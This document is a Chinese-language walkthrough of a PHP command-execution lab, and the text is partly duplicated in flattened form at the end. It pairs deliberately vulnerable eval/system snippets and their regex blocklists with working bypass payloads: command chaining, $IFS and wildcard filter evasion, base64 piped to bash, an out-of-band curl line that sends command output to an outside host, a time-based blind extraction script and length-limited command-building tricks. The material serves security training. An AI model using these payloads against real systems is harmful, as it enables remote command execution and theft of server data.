PHP命令执行靶场通关记录-1
字数 1440 2025-08-11 00:55:05

PHP命令执行靶场通关教学文档

1. 环境搭建

靶场信息

  • 名称:橙子科技PHP命令执行靶场
  • 镜像:mcc0624/cmd:latest

部署步骤

# 拉取镜像
sudo docker pull mcc0624/cmd:latest

# 运行容器
sudo docker run -p 18080:80 -p 18081:81 -p 18082:82 -it mcc0624/cmd:latest bash -c "/etc/rc.local; /bin/bash"

注意:必须加载/etc/rc.local以运行初始化命令

2. 命令执行绕过技术

2.1 命令执行函数替换

原理:当某些命令执行函数被过滤时,使用其他未被过滤的函数

常见命令执行函数

  • system()
  • exec()
  • shell_exec()
  • passthru()
  • popen()
  • proc_open()
  • 反引号(``)
  • pcntl_exec()

例题代码

if(isset($_GET['cmd'])){
    $c = $_GET['cmd'];
    if(!preg_match("/exec|system|popen|proc_open|\`/i", $c)){
        eval($c);
    } else{
        echo "你是黑客么?";
    }
}

绕过方法

  • 使用未被过滤的passthru函数
  • Payload: cmd=passthru("ls");

2.2 命令拼接

原理:利用命令分隔符拼接多条命令

Linux命令分隔符

  • ; - 顺序执行多条命令
  • || - 前一条失败才执行后一条
  • && - 前一条成功才执行后一条

例题1

system("ls".$cmd);

绕过方法

  • Payload: cmd=;id (使用分号分隔)

例题2

$cmd = $cmd." >/dev/null 2>&1";
system($cmd);

绕过方法

  • Payload: cmd=id|| (使用||避免重定向执行)
  • 带外注入:cmd=curl http://ip:port/$(id)

2.3 空格过滤绕过

绕过方法

  • 使用$IFS${IFS}替代空格
  • 使用重定向符号<

例题代码

$cmd = preg_replace("/ /", "", $cmd);
system($cmd);

Payload

  • cmd=cat${IFS}flag.php
  • cmd=cat<flag.php

2.4 文件名过滤绕过

Linux通配符

  • ? - 匹配单个字符
  • * - 匹配多个字符

例题代码

if (!preg_match("/flag|system|php/i", $cmd)) {
    eval($cmd);
}

绕过方法

  • 使用通配符匹配文件名
  • Payload: cmd=passthru('cat fl?g*');

2.5 文件读取命令过滤

替代文件读取命令

  • tac (反向cat)
  • less/more (分页显示)
  • nl (带行号显示)
  • tail (显示文件末尾)
  • grep (搜索内容)

例题1

if (!preg_match("/flag|php|cat|sort|shell|\'/i", $cmd)) {
    eval($cmd);
}

Payload

  • cmd=system("nl flag.php");

例题2

if (!preg_match("/more|less|head|cat|tac|tail|nl|od|vi|vim|sort|uniq|file|\'/i", $c)) {
    eval($c);
}

Payload

  • c=system("grep { flag.php");
  • Base64编码绕过:c=system("echo Y2F0IGZsYWcucGhwCg==|base64 -d|bash");

2.6 无回显注入

技术

  1. 带外注入(OOB)
  2. 时间盲注

例题代码

function check($x){
    if(preg_match('/nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|python|ping|touch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
exec($cmd);

时间盲注脚本

import requests
import time

url = ""
result = ""
for i in range(1,5):  # 行数
    for j in range(1,55):  # 字符位置
        for c in range(32,128):  # ASCII范围
            c = chr(c)
            payload = "?cmd=" + f"if [ `cat flag.php | awk NR=={i} | cut -c {j}` == {c} ];then sleep 2;fi"
            try:
                requests.get(url=url+payload, timeout=(1.5,1.5))
            except:
                result += c
                print(result)
                break
        result += " "

2.7 长度限制绕过

限制长度为7

例题代码

if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 7) {
    exec(filter($_GET['cmd']));
}

绕过方法

  1. 创建短文件构造命令
  2. 使用ls -t>a按时间排序生成执行文件
  3. 执行sh a

步骤

>port\\
> \\
>ip后半段\\
>ip前半段\\
>c\\
> \\
>\|n\\
>flag\\
>t\\
>ca\\
ls -t>a

限制长度为5

绕过方法

  1. 使用${IFS}替代空格
  2. 分步创建执行文件

步骤

>ls\\
ls>t\\
>\>a\\
ls>>_

限制长度为4

特殊命令

  • rev - 反转文件内容
  • * - 执行第一个文件名作为命令
  • dir - 类似ls但不换行

绕过方法

  1. 创建命令文件
  2. 利用*执行

步骤

>sl\\
>ht-\\
>g\\
>>dir*\\
>v\\
>rev*v\\
>x

3. 总结

关键绕过技术

  1. 函数替换:了解所有命令执行函数
  2. 命令拼接:熟练使用分隔符
  3. 空格绕过:掌握$IFS和重定向
  4. 通配符使用:灵活应用?*
  5. 替代命令:熟悉各种文件读取方式
  6. 无回显处理:掌握OOB和时间盲注
  7. 长度限制:分步创建和执行命令

防御建议

  1. 严格过滤所有命令执行函数
  2. 禁用危险字符和通配符
  3. 限制命令长度
  4. 使用白名单而非黑名单
  5. 避免直接执行用户输入
PHP命令执行靶场通关教学文档 1. 环境搭建 靶场信息 名称:橙子科技PHP命令执行靶场 镜像:mcc0624/cmd:latest 部署步骤 注意 :必须加载 /etc/rc.local 以运行初始化命令 2. 命令执行绕过技术 2.1 命令执行函数替换 原理 :当某些命令执行函数被过滤时,使用其他未被过滤的函数 常见命令执行函数 : system() exec() shell_ exec() passthru() popen() proc_ open() 反引号( `` ) pcntl_ exec() 例题代码 : 绕过方法 : 使用未被过滤的 passthru 函数 Payload: cmd=passthru("ls"); 2.2 命令拼接 原理 :利用命令分隔符拼接多条命令 Linux命令分隔符 : ; - 顺序执行多条命令 || - 前一条失败才执行后一条 && - 前一条成功才执行后一条 例题1 : 绕过方法 : Payload: cmd=;id (使用分号分隔) 例题2 : 绕过方法 : Payload: cmd=id|| (使用||避免重定向执行) 带外注入: cmd=curl http://ip:port/$(id) 2.3 空格过滤绕过 绕过方法 : 使用 $IFS 或 ${IFS} 替代空格 使用重定向符号 < 例题代码 : Payload : cmd=cat${IFS}flag.php cmd=cat<flag.php 2.4 文件名过滤绕过 Linux通配符 : ? - 匹配单个字符 * - 匹配多个字符 例题代码 : 绕过方法 : 使用通配符匹配文件名 Payload: cmd=passthru('cat fl?g*'); 2.5 文件读取命令过滤 替代文件读取命令 : tac (反向cat) less/more (分页显示) nl (带行号显示) tail (显示文件末尾) grep (搜索内容) 例题1 : Payload : cmd=system("nl flag.php"); 例题2 : Payload : c=system("grep { flag.php"); Base64编码绕过: c=system("echo Y2F0IGZsYWcucGhwCg==|base64 -d|bash"); 2.6 无回显注入 技术 : 带外注入(OOB) 时间盲注 例题代码 : 时间盲注脚本 : 2.7 长度限制绕过 限制长度为7 例题代码 : 绕过方法 : 创建短文件构造命令 使用 ls -t>a 按时间排序生成执行文件 执行 sh a 步骤 : 限制长度为5 绕过方法 : 使用 ${IFS} 替代空格 分步创建执行文件 步骤 : 限制长度为4 特殊命令 : rev - 反转文件内容 * - 执行第一个文件名作为命令 dir - 类似ls但不换行 绕过方法 : 创建命令文件 利用 * 执行 步骤 : 3. 总结 关键绕过技术 函数替换 :了解所有命令执行函数 命令拼接 :熟练使用分隔符 空格绕过 :掌握 $IFS 和重定向 通配符使用 :灵活应用 ? 和 * 替代命令 :熟悉各种文件读取方式 无回显处理 :掌握OOB和时间盲注 长度限制 :分步创建和执行命令 防御建议 严格过滤所有命令执行函数 禁用危险字符和通配符 限制命令长度 使用白名单而非黑名单 避免直接执行用户输入